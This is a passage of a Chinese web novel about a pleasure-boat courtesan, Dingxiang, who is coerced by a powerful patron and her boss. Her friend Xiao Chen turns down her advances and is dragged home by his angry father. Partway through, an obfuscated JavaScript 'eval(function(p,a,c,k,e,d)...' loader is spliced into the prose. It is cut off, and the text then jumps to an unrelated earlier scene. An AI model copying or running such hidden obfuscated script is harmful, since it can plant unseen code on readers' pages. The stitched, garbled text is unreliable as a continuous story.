“仁善?”王老爷嗤笑一声,“肖家那小子,我倒是打过几次交道,看着温吞,骨子里犟得很。能让他这么上心的,你还是头一个。”他端起桌上的酒杯,抿了一口,“说吧,想要什么?只要你把本爷伺候好了,别说赎身,就算让肖家小子娶你做妾,也不是不可能。” 这话像根针,狠狠扎进丁香心里。她攥紧了琴弦,指节泛白,声音却依旧平稳:“多谢老爷抬举,只是民女蒲柳之姿,配不上肖公子,也不敢奢求什么。弹琴便是了。” 说完,她重新低下头,指尖急促地拨动琴弦,琴声陡然变得激昂,带着股不屈的劲儿,像在狂风里挣扎的野草。 王老爷的脸色沉了沉,却没发作,只冷冷地看着她。刀疤刘在一旁急得冒汗,却不敢插嘴。 一曲终了,舱房里静得落针可闻。 丁香站起身,福了福身:“老爷,琴弹完了,民女身子不适,先告退了。” 王老爷没拦她,只看着她的背影消失在门后,才端起酒杯一饮而尽,眼底闪过一丝晦暗不明的光。 刀疤刘连忙凑上来:“老爷,这丫头不懂事,您别往心里去……” “有意思。”王老爷打断他,嘴角勾起一抹意味深长的笑,“肖家那小子,眼光倒是不错。” 刀疤刘愣了愣,没明白他这话里的意思,只陪着笑:“是是,您说得是。” 而另一边,丁香回到自己的舱房,关上门,才顺着门板缓缓滑坐在地。她抬手按住胸口,心跳得厉害,方才王老爷的话像魔咒一样在耳边回响。 做妾?她怎么可能做得到。 她想起李傲雪温和的笑,想起肖晨看着李傲雪时眼里的珍视,那是她从未拥有过的安稳。她怎么能去破坏? 指尖冰凉,她忽然捂住脸,压抑的呜咽声终于忍不住从指缝里溢出来,混着窗外隐约的浪声,碎成了一片。 原来连做个知己,都这般艰难。 王老爷对他们说到,这货色多少钱我买了,刀疤刘脸上的笑僵了僵,搓着手赔笑道:“王老爷,您说笑了。丁香姑娘是我们这儿的头牌,向来只卖艺不卖身,真不是钱的事儿……” 王老爷没看他,指尖敲着桌面,发出“笃笃”的轻响,眼神却像钩子似的锁在刀疤刘身上:“只卖艺?”他嗤笑一声,“在这花船上讨生活,哪有什么只卖艺的道理。无非是价钱没到位罢了。” 他从怀里摸出一叠银票,“啪”地拍在桌上,红得晃眼:“这些,够不够买她一个月的时间?” 刀疤刘的眼直了直,那数目足够他再添两艘新船了。可他想起肖晨之前的警告,又想起丁香那副宁折不弯的性子,额头渗出冷汗:“老爷,这真不是钱的事儿……主要是姑娘性子烈,怕伺候不好您,扫了您的兴……” “性子烈才好。”王老爷拿起一张银票,在指尖捻着,“驯服起来才有滋味。”他抬眼看向刀疤刘,眼神冷了几分,“我知道你们不差钱,尤其是搭上了肖家那条线,更是不在乎这点银子。” 他话锋一转,语气带着点玩味:“可你们别忘了,这码头的规矩,可不是肖家说了算。我想要的人,还没有得不到的。要么,拿着这钱,让她乖乖过来;要么……” 他没说完,但那眼神里的威胁,刀疤刘看得明明白白。王老爷在码头混了这么多年,手底下的手段可比他狠多了,真要硬碰硬,他这点家底根本不够看。 刀疤刘咽了口唾沫,看看桌上的银票,又想想王老爷的手段,心里像被猫抓似的。他知道,这事怕是躲不过去了。 “这……”他支吾着,“小的……小的去跟姑娘说说,劝劝她……” 王老爷满意地笑了笑,收起银票:“给你一个时辰。别让我等太久。” 刀疤刘点头哈腰地退出去,刚走到舱房外,就撞见了小丫鬟。小丫鬟见他脸色难看,心里咯噔一下,刚想问什么,就被他恶狠狠地瞪了一眼:“去,把你家姑娘叫出来!” 小丫鬟吓得缩了缩脖子,连忙跑回舱房。丁香正在擦琴,听见这话,指尖一顿,心里瞬间沉了下去。她知道,该来的,终究还是来了。 丁香放下琴布,指尖微微发颤,却还是强作镇定地站起身。小丫鬟拉着她的衣袖,急得眼圈发红:“姑娘,那刀疤刘看着就没好事,您别去……” “躲不过的。”丁香拍了拍她的手,声音轻得像叹息,“我去去就回。” 她走出舱房,刀疤刘正背着手在廊下踱步,见她出来,脸上堆起假笑,语气却带着不容置疑的强硬:“丁香啊,王老爷瞧得上你是你的福气,那可是咱们得罪不起的主儿。你就……” “我不去。”丁香打断他,抬头望着他,眼神平静得近乎冷漠,“我早就说过,只卖艺不卖身。” “都这时候了还犟什么!”刀疤刘被她噎得火冒三丈,压低声音骂道,“那老王八蛋是什么人?咱们这艘船能不能在码头立足,全看他一句话!你以为你是给谁置气?是想害死我们所有人吗?” 丁香攥紧了衣角,指甲深深嵌进掌心:“我的事,与你们无关。要杀要剐,我自己担着。” “你担着?你怎么担?”刀疤刘气得跳脚,“他要是动怒,先拆的就是咱们这船!到时候不光是你,我们所有人都得喝西北风去!” 两人正僵持着,王老爷的跟班走了过来,不耐烦地催促:“刘爷,我家老爷等急了,人呢?” 刀疤刘脸色一阵青一阵白,看了看丁香,又看了看那跟班,最终咬了咬牙,冲跟班陪笑道:“这就来,这就来,姑娘家脸皮薄,我再劝劝……” 他转头看向丁香,语气软了些,带着哀求:“丁香,算我求你了,就当是为了大家,委屈这一次行不行?事后我多给你些银子,保证不再逼你……” 丁香看着他,又看了看舱房里缩着的小丫鬟,还有远处那些忙碌的伙计,他们脸上或多或少都带着惶恐。她知道,刀疤刘说的是实话,王老爷要动怒,这艘船上的人没一个能好过。 她闭上眼,再睁开时,眼底的光彻底灭了,只剩下一片死寂。 “好。”她轻轻吐出一个字,声音轻得像要被风吹走,“我去。” 刀疤刘明显松了口气,刚想说话,却见丁香转身回了舱房,关上了门。 里面传来一阵轻微的声响,片刻后,门重新打开。她换了身更素净的衣裳,头发梳得整整齐齐,手里抱着那把琴,一步步往外走。 阳光落在她身上,却照不进她眼底的空洞。她走过刀疤刘身边时,脚步没停,像一尊没有灵魂的木偶。 刀疤刘张了张嘴,想说些什么,最终却只化作一声叹息。 跟班满意地笑了,领着丁香往王老爷的舱房走去。廊下的风很大,吹得她的衣袂猎猎作响,像一面破碎的旗。 小丫鬟扒着门缝看着,眼泪无声地淌下来。她知道,从这一刻起,那个会在琴声里藏着温柔的丁香姑娘,可能再也回不来了。 王老爷的舱房里酒气弥漫,他半倚在榻上,手里把玩着个玉扳指,见丁香抱着琴进来,眼皮都没抬一下。 直到她站定在桌前,他才慢悠悠抬眼,目光在她身上扫了一圈,带着毫不掩饰的打量,像在估量一件货物。 “坐。”他指了指对面的椅子。 丁香没动,只将琴放在桌上,指尖按住琴弦,声音平静无波:“老爷想听什么曲子?” 王老爷嗤笑一声,放下扳指,端起酒杯一饮而尽:“曲子就不必了。”他身体前倾,眼神里带着狎昵,“我问你,多少钱,能让你留下来陪我?” 空气仿佛凝固了。丁香垂在身侧的手猛地攥紧,指节泛白。她抬眼看向他,眼底没有愤怒,也没有畏惧,只有一片冰冷的嘲弄。 “你的全部家产。”她一字一顿地说,声音清冽,“我就同意。” 王老爷愣住了,随即爆发出一阵大笑,笑得前仰后合,仿佛听到了什么天大的笑话。“有意思,真是有意思!”他指着丁香,眼里的兴味更浓了,“在这码头上,还没人敢跟我这么说话。” 他站起身,走到她面前,一股浓烈的酒气扑面而来。“你以为我不敢?”他伸手想去捏她的下巴,“只要我一句话,别说你的身子,就是你这条命,也得捏在我手里。” 丁香后退一步,避开他的触碰,抬眼直视着他,眼神里没有丝毫退缩:“那你可以试试。”她的声音很轻,却带着一种玉石俱焚的决绝,“要么,你用全部家产换一夜;要么,就看着我死在你面前。” 她知道自己在赌,赌这个男人的贪婪和自负。他想要的是驯服,是她低头求饶的模样,而不是一具没有生气的尸体。 王老爷的手僵在半空,脸上的笑容淡了下去,眼神变得阴鸷。他死死盯着丁香,仿佛要将她看穿。舱房里静得可怕,只有两人对峙的呼吸声,还有窗外隐约传来的浪涛声。 半晌,他忽然又笑了,只是那笑意没达眼底:“好,好得很。”他重新坐回榻上,端起酒壶给自己倒了杯酒,“看来肖家那小子没看错人,骨头倒是硬。” 他没再提留宿的事,也没再逼她,只挥了挥手:“滚吧。” 丁香微怔,似乎没想到他会这么轻易放过自己。但她没多问,福了福身,抱起琴,转身就走。脚步快得有些踉跄,像是身后有洪水猛兽在追赶。 直到走出舱房,被外面的风一吹,她才发现自己后背的衣裳早已被冷汗浸透。刚才那番话,耗尽了她所有的力气。 她没回自己的舱房,而是抱着琴走到船尾,望着远处灰蒙蒙的水面。指尖在琴上轻轻一弹,发出一声嘶哑的响,像她此刻的心跳。 原来硬气一次,是这么难的事。可就算难,她也不想做那个任人摆布的玩物。 至少现在,她还能守住自己。 这就够了。 王老爷一脚踹开舱门,带着满身酒气走出来,刀疤刘和几个管事正候在外面,见他脸色不善,都缩着脖子不敢吭声。 他眯着眼扫过众人,忽然扯了扯嘴角,露出个阴恻恻的笑:“这女子够辣,合我的胃口。”他舔了舔唇角,语气带着势在必得的狠劲,“我要得到她。” 刀疤刘心里咯噔一下,刚想赔笑说些什么,就被王老爷打断。 “我知道你们怕肖家,也知道你们在这码头做生意不容易。”王老爷慢悠悠地说,目光落在刀疤刘身上,“只要你们把她给我送过来,我可以给你们个好处——以后这码头的官府,你们不用再打点,有我在,没人敢找你们麻烦。” 这话一出,刀疤刘和几个管事都变了脸色。他们在码头混饭吃,最头疼的就是官府的层层盘剥,光是每年打点的银子就够买半艘船了。王老爷在官场有人脉,这话绝非空谈。 还没等他们回过神,王老爷又抛出个诱饵:“再加一万两银子,够给她赎身了吧?” 一万两!刀疤刘倒吸一口凉气,这数目足够买下三个像丁香这样的姑娘了。一边是肖家的情面和丁香的倔强,一边是实打实的权势和银子,天平瞬间倾斜。 几个管事互相看了一眼,都从对方眼里看到了贪婪。其中一个忍不住开口:“王老爷,这……这可不是小事,我们……” “怎么?嫌少?”王老爷挑眉,语气冷了几分,“还是觉得我王某人的话不值钱?” 刀疤刘连忙上前一步,弓着腰赔笑道:“不敢不敢,老爷您说笑了。只是……只是丁香那丫头性子烈,怕是……” “性子烈才好调教。”王老爷打断他,拍了拍他的肩膀,力道不轻,“这事就这么定了。三天后,我来接人。你们要是办得漂亮,以后这码头的好处,少不了你们的。” 说完,他不再看众人,带着跟班扬长而去。 直到王老爷的船消失在视线里,刀疤刘才瘫软在地,擦了擦额头的冷汗。 “刘哥,这……这咋办啊?”一个管事急道,“一边是王老爷,一边是肖公子……” “还能咋办?”刀疤刘狠狠啐了一口,眼里闪过一丝狠厉,“王老爷给的条件,咱们根本没法拒绝!官府不打点,再加一万两,这可是天上掉馅饼的好事!” “可肖公子那边……” “肖公子远在城里,哪知道这边的事?”刀疤刘咬了咬牙,“就说丁香自己愿意的,他还能怎么样?再说了,咱们拿了王老爷的好处,以后在码头站稳脚跟,还怕肖家不成?” 几个管事对视一眼,终究是抵不住诱惑,纷纷点头:“刘哥说得是,就这么办!” 舱房里,小丫鬟把刚才的话听得一清二楚,吓得脸色惨白,连忙跑回去告诉丁香。 丁香正坐在窗边擦琴,闻言,手里的布巾“啪嗒”一声掉在地上。她怔怔地望着窗外,眼底最后一点光也灭了。 一万两,再加官府的庇护。 原来她的身价,是这样被衡量的。 她忽然低低地笑了起来,笑着笑着,眼泪就淌了下来,砸在琴弦上,晕开一小片水渍。 这一次,她好像真的躲不过了。 舱房的门被轻轻推开,丁香背对着门口站着,望着窗外翻涌的浪涛,声音轻得像随时会被风吹散:“你去一趟城里,找肖公子。” 小丫鬟刚擦完眼泪,闻言猛地抬头:“姑娘,您要……” “就说我有要事找他,让他务必来一趟。”丁香打断她,指尖紧紧抠着窗棂,指节泛白,“记住,千万别提赎身的事,也别说王老爷……一个字都不能提。” 她怕肖晨知道了会冲动,更怕他为了自己,真的跟王老爷对上。那是条狼,肖晨就算家世再好,在这码头也未必能讨到好。 小丫鬟愣了愣,看着她紧绷的背影,忽然明白了什么。姑娘这是……想最后见肖公子一面? “可是姑娘,王老爷那边说三天后来接人,我这一来一回,怕是……” “来得及。”丁香转过身,眼底带着一丝孤注一掷的决绝,“你现在就动身,骑马去,日夜不停地赶,一定能赶上。” 她从枕下摸出个小小的锦袋,递给小丫鬟:“这里面有些碎银子,你路上用。到了肖府,别说是花船来的,就说是……就说是故人托你传话。” 小丫鬟接过锦袋,触手冰凉,像揣着块烙铁。她用力点头:“姑娘放心,我一定办到!” 看着小丫鬟急匆匆跑出去的背影,丁香缓缓闭上眼。她不知道自己这么做对不对,也不知道见了肖晨该说些什么。或许只是想再看他一眼,听听他说话的声音,像上次那样,站在窗边听她弹一曲琴。 那样,就算往后的日子再难,也算有过一点念想。 她重新坐回琴前,指尖落在琴弦上,却怎么也弹不出完整的调子。窗外的浪声越来越大,像在催促着什么,又像在哀悼着什么。 三天,她只有三天的时间了。 或者说,她和肖晨之间,只剩下这最后三天的缘分了。 想到这里,她的指尖终于拨动琴弦,琴声幽幽响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看着肖晨低头看书的侧影,李傲雪心里总忍不住嘀咕:如今才多大,就生得这般俊朗,等再过两年,他成年了,怕是要迷倒满城的姑娘吧?到时候眉眼长开了,定是更加挺拔英气,笑起来时,会不会比现在更让人心里发颤? 她越想越觉得有趣,忍不住伸手想去碰碰他的睫毛,指尖刚要碰到,就被肖晨捉住了。 “又在想什么?”他抬眼望她,眼底带着笑意,“魂都飞走了。” 李傲雪被抓了个正着,脸“腾”地红了,挣扎着想把手抽回来:“没、没什么……” 肖晨却没放,反而握得更紧些,指尖摩挲着她细腻的肌肤:“是不是觉得,你的夫君很好看?” 这话问得直白,李傲雪的脸更红了,像熟透的苹果,她用力点头,又觉得不好意思,连忙摇摇头,最后干脆把脸埋进他的臂弯里,闷声道:“就是好看嘛……” 肖晨被她这副模样逗笑了,胸腔的震动透过手臂传过去,李傲雪听得心头痒痒的,往他怀里缩了缩,像只偷到糖的小兽。 阳光透过窗棂,在两人交握的手上镀上一层金边,空气里仿佛都飘着甜甜的味道。李傲雪偷偷抬眼,看着肖晨下颌的线条,心里忽然盼着,日子能过得再快些,又能慢些——快些让他长成可以独当一面的模样,又慢些,好让她多贪恋几日这样的时光。 有他在身边,连等待都变得这样欢喜。 李傲雪胆子越来越大了。 前几日只是偷偷盯着肖晨看,这两日竟趁他看书时,踮脚在他脸颊上啄一下,像只偷腥的小猫,亲完就红着脸躲到一边,心跳快得像要蹦出来。 起初肖晨还愣着,反应过来时,耳根早已红透。他放下书卷,看着她缩在屏风后,只露出半张脸偷偷瞄他,忍不住无奈地笑。 这日午后,他趴在桌上小憩,阳光暖融融地洒在身上,带着点困意。迷迷糊糊间,感觉有柔软的唇瓣轻轻碰了碰他的唇角,像羽毛扫过,带着点温热的气息。 肖晨猛地睁开眼,正对上李傲雪惊慌失措的眸子,她像被踩了尾巴的兔子,转身就要跑,却被他一把拉住手腕。 “傲雪。”他声音带着刚睡醒的沙哑,心跳快得离谱。 李傲雪低着头,脸颊红得能滴出血来,手腕被他握着,烫得像着了火。“我、我不是故意的……” 肖晨看着她这副模样,忽然想起自己在现代的日子。二十多年母胎单身,连男孩子的手都没牵过,何曾受过这样的“惊吓”?眼前这小姑娘,明明看着温顺,发起火来却像团火,烫得他手足无措。 他轻咳一声,松开她的手,别开视线:“以后……别这样了。” 李傲雪却没听,反而抬头看他,眼里带着点委屈和不解:“少爷不喜欢吗?”她觉得喜欢一个人,就该亲他、靠近他,像村里的小夫妻那样,时时刻刻黏在一起。 肖晨被她问得语塞,脸颊更烫了。喜欢吗?好像……也不是不喜欢。只是这突如其来的亲近,让他这个“现代社恐”实在吃不消。 他张了张嘴,刚想说什么,李傲雪却忽然凑上来,又在他唇角亲了一下,这次更久些,带着点小心翼翼的试探。 “我喜欢少爷。”她声音软软的,带着点鼻音,“就想亲你。” 肖晨彻底僵住了,脑子里一片空白。现代的恋爱剧没教过他,古代的话本也没写过,面对这样直白又火热的喜欢,他该怎么办? 他看着李傲雪亮晶晶的眼睛,里面满是对他的依恋和欢喜,像盛着两团小火焰,烧得他心头发烫。 最终,他只能别过脸,声音细若蚊吟:“知道了……” 李傲雪见他没真的生气,反而像只被欺负了的小兽,忍不住“噗嗤”笑了出来,伸手挽住他的胳膊,把脸埋进他的袖子里,闷闷地笑。 肖晨感受着手臂上传来的温热,鼻尖萦绕着她发间淡淡的香气,心里那点“吃不消”,忽然就变成了说不清道不明的软。 或许……被这样喜欢着,也不算太坏。 他悄悄抬眼,看着她毛茸茸的发顶,唇角忍不住弯了弯。 罢了,古代的日子,就按古代的规矩来吧。至少,被她这样惦记着,好像也挺甜的。 小丫鬟气喘吁吁跑到肖府门口,手心攥得发白,正不知该如何通报,就见一个穿着青布衫的小厮从里面走出来——是肖晨身边的阿成。 “你是……”阿成打量着她,见她一身风尘仆仆的样子,不像府里的人。 小丫鬟急得眼圈发红,压低声音:“小哥,我是丁香姑娘派来的,有急事找肖公子,求你通报一声!” “丁香姑娘?”阿成愣了愣,随即想起是那位在花船上弹得一手好琴的姑娘,少爷前阵子还为她的病费了不少心。他不敢耽搁,连忙道:“你在这儿等着,我这就去说!” 阿成一阵风似的跑到书房,肖晨正和李傲雪一起看话本,见他跑得急,不禁挑眉:“什么事?” “少爷,外面有个小丫鬟,说是丁香姑娘派来的,说有急事找您。” 肖晨手里的话本顿了顿,眼底闪过一丝疑惑。丁香找他?会是什么事?前几日听说她身子好些了,难道又出了什么岔子? 李傲雪也抬起头,眼里带着点好奇:“是那位弹琴很好听的姐姐吗?” “嗯。”肖晨放下话本,站起身,“我去看看。” 他跟着阿成走到门口,见了小丫鬟,蹙眉道:“丁香怎么了?” “姑娘只说有要事见您,让您务必去一趟。”小丫鬟低着头,不敢看他,更不敢提王老爷半个字,“她……她在船上等着您。” 肖晨心里更纳闷了,却也没多问,只对阿成道:“备车。” 李傲雪也想跟着去,被肖晨按住:“你在家等着,我去去就回。”他怕花船上人多眼杂,她一个姑娘家去了不方便。 李傲雪虽有些不情愿,还是乖乖点头:“那你早点回来。” 肖晨跟着小丫鬟上了车,马车轱辘轱辘往码头赶。他靠在车壁上,心里反复琢磨着丁香找他的缘由,却怎么也想不到,花船上正有一张无形的网在等着他,更不知道那个叫王老爷的男人,已经将主意打到了丁香身上。 他只当是寻常事,或许是丁香遇到了难处,或许是想托他办什么事。毕竟,在他心里,她是那个懂他琴音的知己,他不能不管。 马车驶过青石板路,离码头越来越近,隐约能听见浪涛声。肖晨掀开车帘一角,望着远处灰蒙蒙的水面,丝毫没察觉,一场风波正悄然向他袭来。 35. 我会让你求着爬上我的床 马车停在码头,肖晨踩着跳板上了船,熟悉的木腥味混着水汽扑面而来。小丫鬟引着他往舱房走,一路安静得反常,连往日里穿梭的伙计都少了许多。 他心里隐隐有些不安,却没多问,只跟着脚步声穿过回廊,停在那扇熟悉的舱门前。 小丫鬟推开门,轻声道:“姑娘,肖公子来了。” 丁香正坐在琴前,听见声音,缓缓转过身。她换了身月白色的衣裙,头发梳得一丝不苟,脸上没施粉黛,却比往日更显清丽,只是眼底那抹化不开的郁色,看得肖晨心头一紧。 “公子。”她起身福了福身,声音平静无波,“我给你弹奏一曲吧。” 肖晨点点头,在桌边坐下。他看着她重新坐回琴前,指尖轻扬,琴声便流淌出来。还是那首他听过的《平沙落雁》,只是今日弹来,少了几分悠远,多了几分缠绵的不舍,像在挽留着什么,又像在与什么告别。 他静静听着,没说话。琴声里的情绪太浓,浓得让他几乎喘不过气。 一曲终了,余音绕梁,久久不散。舱房里静得能听见彼此的呼吸声。 肖晨才轻声开口:“丁香,你找我来,到底有什么事?” 丁香望着琴弦,指尖在上面轻轻摩挲,半晌,才抬起眼,眼底蒙着一层薄薄的水汽,却带着一丝恳求:“公子……能陪陪我吗?就一小会儿。” 她的声音很轻,带着点脆弱,像风中摇曳的烛火,让人心头发软。 肖晨愣了愣,看着她泛红的眼眶,到了嘴边的追问忽然说不出口。他点了点头:“好。” 得到肯定的答复,丁香的嘴角微微弯了弯,像是松了口气。她起身倒了杯茶,递到他面前:“这是去年的雨前龙井,公子尝尝。” 肖晨接过,温热的茶水暖了手心,却暖不了心里那点莫名的慌乱。他看着她坐在对面,安静地拨弄着琴弦,不说事,也不催促,就那样静静地陪着他。 阳光透过窗棂照进来,落在她发间,镀上一层柔和的金边。这样的画面,宁静得像一幅画,却又带着一种说不出的伤感。 肖晨忽然觉得,她或许不是有什么急事,只是……想找个人说说话,或者,只是想再看看他。 他没再追问,端起茶杯,轻轻啜了一口。茶香清冽,混着她身上淡淡的药香,竟有种奇异的安宁。 也好,就这样陪她坐一会儿吧。 他不知道,这片刻的安宁,是她用尽勇气换来的最后时光。更不知道,窗外的阴影里,正有人死死盯着这扇舱门,像在等待着猎物落网。 刀疤刘在廊下踱来踱去,看见肖晨进了丁香的舱房,急得直搓手。一边是王老爷放的狠话,三天后就要人;一边是肖公子亲自登船,明显是冲着丁香来的。这两人撞在一起,怕是要出乱子。 “刘哥,这可咋办?”旁边的管事凑过来,压低声音,“要是让肖公子知道咱们收了王老爷的好处……” 刀疤刘狠狠瞪了他一眼:“废话!能让他知道吗?”他眼珠一转,忽然拍了下大腿,“去,找个人悄悄上岸,往肖府递个信,就说……就说肖公子在花船上逗留,让肖老爷派人来把他领回去!” 他算准了肖老爷最重规矩,定然不允儿子在这种地方久待。只要肖晨被家里人叫走,剩下的事就好办了——既不得罪肖家,也能给王老爷交差。 管事连忙点头:“还是刘哥想得周到!”转身就安排人去了。 刀疤刘望着丁香舱房紧闭的门,心里暗暗祈祷:肖公子,对不住了,这趟浑水,你还是别蹚了。 舱房里,肖晨正听丁香说着近日读的诗,她声音温软,配上窗外的浪声,竟有种难得的惬意。他完全没察觉外面的动静,更不知道刀疤刘已经动了“驱客”的心思。 而此时的肖府,肖老爷刚处理完公务,就见一个小厮慌慌张张跑进来,说是花船那边来的人,有要事禀报。 “花船?”肖老爷眉头一皱,“我儿在那?” 小厮点头如捣蒜:“说是肖公子正陪着一位姑娘,劝也劝不走……” 肖老爷脸色沉了下去。他素知花船不是什么正经地方,晨儿虽是少年心性,却也该懂分寸。他当即起身:“备车!去码头!” 他倒要看看,是什么样的“姑娘”,能让他一向稳重的儿子流连忘返。 马车疾驰在去码头的路上,肖老爷坐在车里,脸色铁青。他只当是儿子一时糊涂,却不知自己这一去,恰好掉进了刀疤刘设的局里,更将肖晨推向了一场未知的风波。 而舱房里的两人,对此还一无所知。丁香正拿起琴,笑着说再弹一曲新学的调子,肖晨含笑点头,阳光落在他们身上,温暖得像一场不愿醒来的梦。 琴声歇了,舱房里只剩下彼此的呼吸声。丁香望着肖晨,忽然轻声笑了笑,眼底却藏着化不开的悲凉:“公子上次送我的那只八哥,我一直养着。它会学你说话的调子,每次听见,就像你还在身边陪着我一样。” 肖晨握着茶杯的手紧了紧,那只八哥是他见她舱房冷清,特意寻来给她解闷的,没想到她这般上心。 “只是……”丁香的声音低了下去,带着点自嘲,“你已有家室,傲雪姑娘那样好,你们是天造地设的一对。我自然是不敢有半分非分之想的。” 肖晨刚想开口说些什么,就见她垂眸,声音轻得像叹息:“我要走了。” “走?”他一愣,“去哪?” 她没回答,只是抬起眼,望着他的目光里,有不舍,有决绝,还有一丝他看不懂的疯狂。“公子,我没什么能给你的。”她缓缓站起身,指尖落在衣襟的盘扣上,一颗一颗解开,“若你不嫌弃,就……就当留个念想吧。” 素色的衣裙滑落,露出纤细的肩背,肌肤在昏暗的光线下泛着苍白的光。肖晨猛地别过脸,耳根瞬间涨红,心跳如擂鼓,连呼吸都忘了。 “丁香!你……你这是做什么!”他声音发颤,不敢回头,更不敢去看。 丁香站在他身后,赤着脚踩在冰凉的地板上,像一朵濒死的花。“我知道这样唐突,可我……”她声音哽咽,“我怕以后再也见不到你了。” 肖晨深吸一口气,强迫自己冷静下来。他想起李傲雪亮晶晶的眼睛,想起她黏着他说“喜欢少爷”的模样,想起自己作为丈夫的本分。他猛地站起身,背对着她,语气坚定:“对不起,丁香,我不能这样做。” 身后的人沉默了,空气仿佛凝固了。片刻后,传来她带着哭腔的声音,像淬了冰的针,扎得他心头发疼:“你是在嫌弃我吗?嫌弃我是这花船上的人,身子不干净?” “不是的!”肖晨急忙反驳,声音里带着急切,“你很好,真的很好。只是我……我已有傲雪,我不能负她。”他顿了顿,声音放软了些,“你值得更好的人,值得被好好对待,而不是这样……” 他不知道该怎么说,只能重复着:“对不起。” 舱房里静得可怕,只有丁香压抑的呜咽声。肖晨站在原地,背挺得笔直,却觉得后背像被火烧一样难受。他知道自己伤了她,可他别无选择。 过了许久,身后传来穿衣的窸窣声。他听见她重新坐下,声音恢复了平静,却带着一种彻底的死寂:“我知道了。是我唐突了。” 肖晨这才缓缓转过身,见她已重新穿好衣裳,只是眼眶红肿,脸色比刚才更白了。他张了张嘴,想说些安慰的话,却发现一切语言都苍白无力。 就在这时,舱门被猛地推开,肖老爷带着怒气站在门口,看到里面的情景,脸色瞬间铁青:“肖晨!你在这里做什么!” 肖晨一愣,万万没想到父亲会突然出现。而丁香,在看到肖老爷的那一刻,眼底最后一点光,彻底熄灭了。 “父亲!”肖晨急忙上前一步,挡在丁香身前,脸色涨红,“我只是来和丁香姑娘说几句话,并无不妥!” 肖老爷的目光扫过舱房里的情景——散落的衣襟,丁香红肿的眼眶,还有两人之间那说不清道不明的凝滞气氛,哪里肯信。他冷哼一声,眼神像刀子似的刮过丁香:“这叫说话?我再晚来一步,你们是不是就要行苟且之事了?” “我们是清白的!”肖晨急得提高了声音,“丁香姑娘只是……” “只是什么?”肖老爷打断他,眼神落在丁香身上,满是鄙夷,“一个花船上的奴隶,能有什么好心思?无非是想攀附权贵,做些痴心妄想的梦!”他转向肖晨,语气严厉,“你别忘了,你已有傲雪,她才是你明媒正娶的妻子!为了这种不清不楚的女人,你要毁了自己的名声吗?” 丁香猛地攥紧了衣角,指甲深深嵌进掌心,指节泛白。“货色”“奴隶”“不清不楚”……这些字眼像淬了毒的针,狠狠扎进她心里,疼得她几乎喘不过气。她想反驳,却发现喉咙像被堵住,一个字也说不出来。 肖晨气得发抖:“父亲!您怎能这样说她!丁香姑娘不是您想的那样!” “我想的哪样?”肖老爷瞪着他,“在这种地方讨生活的女人,能干净到哪里去?你要是碰了她,才是真的脏了手!” “够了!”肖晨怒吼一声,第一次这样顶撞父亲。他转过身,看向脸色惨白的丁香,眼里满是愧疚,“对不起,丁香,我父亲他……” 丁香却摇了摇头,缓缓站起身,福了福身,声音平静得可怕,只是那平静之下,是彻底的死寂:“肖老爷说得对,我本就是卑贱之人,配不上肖公子。是我唐突了,扰了公子清净。” 她没再看肖晨,也没看肖老爷,只是低着头,一步步往内室走去,背影单薄得像一片随时会被风吹走的叶子。 肖晨看着她的背影,心里像被什么东西狠狠揪住,疼得厉害。他想追上去,却被父亲死死拉住。 “走!跟我回家!”肖老爷的声音带着不容置疑的强硬,拖着他就往外走。 “父亲!”肖晨挣扎着,却挣脱不开。 舱房的门被“砰”地一声关上,隔绝了里面的死寂,也隔绝了他最后想说的那句“对不起”。 门外,刀疤刘正候着,见肖老爷气冲冲地拉着肖晨出来,连忙凑上去赔笑,心里却暗暗松了口气——成了。 肖晨被父亲强行拖下船,塞进马车。他回头望着那艘渐渐远去的花船,心里空落落的,像被剜去了一块。他不知道丁香会怎么样,更不知道,这一别,或许就是永别。 而舱房里,丁香靠在门板上,缓缓滑坐在地。刚才强撑的镇定终于崩塌,眼泪汹涌而出,却发不出一点声音。 原来,连留个念想,都是奢望。 她终究,还是那个被人看不起的“货色”。 这样也好。 她闭上眼,任由黑暗将自己吞噬。 马车里的气氛压抑得像要滴出水来。肖父闭目靠着车壁,脸色阴沉得可怕,肖晨则别过头望着窗外,胸口起伏不停,显然还在气头上。 “你可知错?”肖父率先开口,声音冷得像冰。 肖晨猛地转头:“我没错!” “没错?”肖父睁开眼,眼神锐利如刀,“你一个肖家独子,未来的家主,跑到那种腌臜地方,跟一个卖笑的女子拉拉扯扯,还敢说没错?” “她不是卖笑的女子!”肖晨红了眼,声音带着颤抖,“她叫丁香,是个干干净净的姑娘!她心地善良,会弹琴,懂诗词,比很多所谓的大家闺秀都要纯洁!我们是朋友,是知己,你凭什么那样侮辱她?” “知己?”肖父冷笑一声,“一个花船上的女子,也配跟你称知己?晨儿,你太天真了!她们这些人,最会用眼泪和柔情骗男人的钱,骗男人的心!你以为她对你是真心?不过是看中了你肖家公子的身份!” “不是的!”肖晨激动地反驳,“她从来没向我要过任何东西!她不是你想的那种人!” “我想的哪种人?”肖父猛地坐直身体,盯着他,“难道不是?在那种地方讨生活的女子,哪个不是想方设法攀高枝?你被她的表象骗了!” “她不是表象!”肖晨的声音带着哭腔,却异常坚定,“我见过她对小丫鬟的好,见过她看八哥时温柔的眼神,听过她弹琴时干净的心事!她比谁都干净!父亲,你没见过她,凭什么这样说她?我不许你侮辱她!” 他从未如此顶撞过父亲,可此刻,他不能让丁香被这样污蔑。那个在琴声里藏着倔强的女子,那个宁愿玉石俱焚也不肯低头的女子,怎么会是父亲口中“低贱”的人? 肖父被他吼得一愣,随即气得发抖:“反了!真是反了!我看你是被那女子迷昏了头!从今日起,禁足府中,没我的允许,不准踏出大门半步!” 他扬声对外面吩咐:“看好公子,若是让他跑了,仔细你们的皮!” 外面传来仆役恭敬的应答声。肖晨猛地去拉车门,却发现早已被锁死。他一拳砸在车厢壁上,发出沉闷的响声,眼里满是无力和愤怒。 “父亲!你不能这样!” 肖父却不再理他,重新闭上眼,只是紧握的拳,暴露了他并未平静的心情。在他看来,儿子只是一时糊涂,等过些日子,自然会明白他的苦心——肖家的未来,绝不能毁在一个来历不明的女子手里。 马车一路疾驰,离码头越来越远。肖晨望着窗外飞逝的景物,心里像被什么东西堵着,闷得发疼。他不知道丁香会不会出事,更怕自己这一被禁足,再也没有机会去向她道歉,去向她解释。 